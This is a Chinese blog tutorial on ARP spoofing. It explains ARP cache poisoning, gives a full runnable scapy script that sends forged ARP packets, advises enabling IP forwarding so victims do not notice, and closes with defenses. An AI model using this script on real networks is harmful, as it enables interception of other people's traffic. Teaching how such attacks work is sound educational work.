ARP欺骗

作者: 语文小子 | 来源:发表于2016-10-27 20:25 被阅读0次

    ARP(Address Resolution Protocol)地址转换协议,工作在OSI模型的数据链路层,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址,ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反,它是反向地址转换协议,把MAC地址转换为IP地址

    假设A(192.168.1.2)与B(192.168.1.3)在同一局域网,A要和B实现通信。A首先会发送一个数据包到广播地址(192.168.1.255),该数据包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,这个数据包会被发放给局域网中所有的主机,但是只有B主机会回复一个包含了源IP(B)、源MAC、目的IP(A)、目的MAC的数据包给A,同时A主机会将返回的这个地址保存在ARP缓存表中

    上面提到过了ARP缓存表,在每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址

    假设主机 A 192.168.1.2,B 192.168.1.3,C 192.168.1.4; 网关 G 192.168.1.1; 在同一局域网,主机A和B通过网关G相互通信,就好比A和B两个人写信,由邮递员G送信,C永远都不会知道A和B之间说了些什么话。但是并不是想象中的那么安全,在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换

    这样C就有了偷听A和B的谈话的可能

    C假扮邮递员,首先要告诉A说:“我就是邮递员” (C主机向A发送构造好的返回包,源IP为G 192.168.1.1,源MAC为C自己的MAC地址),愚蠢的A很轻易的相信了,直接把“C是邮递员”这个信息记在了脑子里;

    C再假扮A,告诉邮递员:“我就是A” (C向网关G发送构造好的返回包,源IP为A 192.168.1.2,源MAC地址为自己的MAC地址),智商捉急的邮递员想都没想就相信了,以后就把B的来信送给了C,C当然就可以知道A和B之间聊了些什么

    上面ABC的故事就是ARP双向欺骗的原理了

    以下代码很好地还原了实例,功能类似于arpspoof

    在进行arp欺骗之前必须要开启IP转发,否则当欺骗成功之后,目标机会断网,这样会被对方察觉

    sysctl -w net.ipv4.ip_forward=1 或者 echo 1 > /proc/sys/net/ipv4/ip_forward

    #!/usr/bin/python
     
    import os
    import sys
    import signal
     
    from scapy.all import (
        get_if_hwaddr,
        getmacbyip,
        ARP,
        Ether,
        sendp
    )
    from optparse import OptionParser
     
    def main():
        try:
            if os.geteuid() != 0:
                print "[-] Run me as root"
                sys.exit(1)
        except Exception,msg:
            print msg
     
        usage = 'Usage: %prog [-i interface] [-t target] host'
        parser = OptionParser(usage)
        parser.add_option('-i', dest='interface', help='Specify the interface to use')
        parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
        parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
        parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
        (options, args) = parser.parse_args()
     
        if len(args) != 1 or options.interface is None:
            parser.print_help()
            sys.exit(0)
     
        mac = get_if_hwaddr(options.interface)
     
        def build_req():
            if options.target is None:
                pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
            elif options.target:
                target_mac = getmacbyip(options.target)
                if target_mac is None:
                    print "[-] Error: Could not resolve targets MAC address"
                    sys.exit(1)
                pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
     
            return pkt
     
        def build_rep():
            if options.target is None:
                pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
            elif options.target:
                target_mac = getmacbyip(options.target)
                if target_mac is None:
                    print "[-] Error: Could not resolve targets MAC address"
                    sys.exit(1)
                pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
     
            return pkt
     
        if options.mode == 'req':
            pkt = build_req()
        elif options.mode == 'rep':
            pkt = build_rep()
     
        if options.summary is True:
            pkt.show()
            ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
            if ans == 'y' or len(ans) == 0:
                pass
            else:
                sys.exit(0)
     
        while True:
            sendp(pkt, inter=2, iface=options.interface)
    if __name__ == '__main__':
        main()
    

    怎样防范ARP欺骗

    1. 在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC
    2. 在网关绑定主机MAC与IP地址
    3. 使用ARP防火墙

    相关文章

      网友评论

          本文标题:ARP欺骗

          本文链接:https://www.haomeiwen.com/subject/nyssuttx.html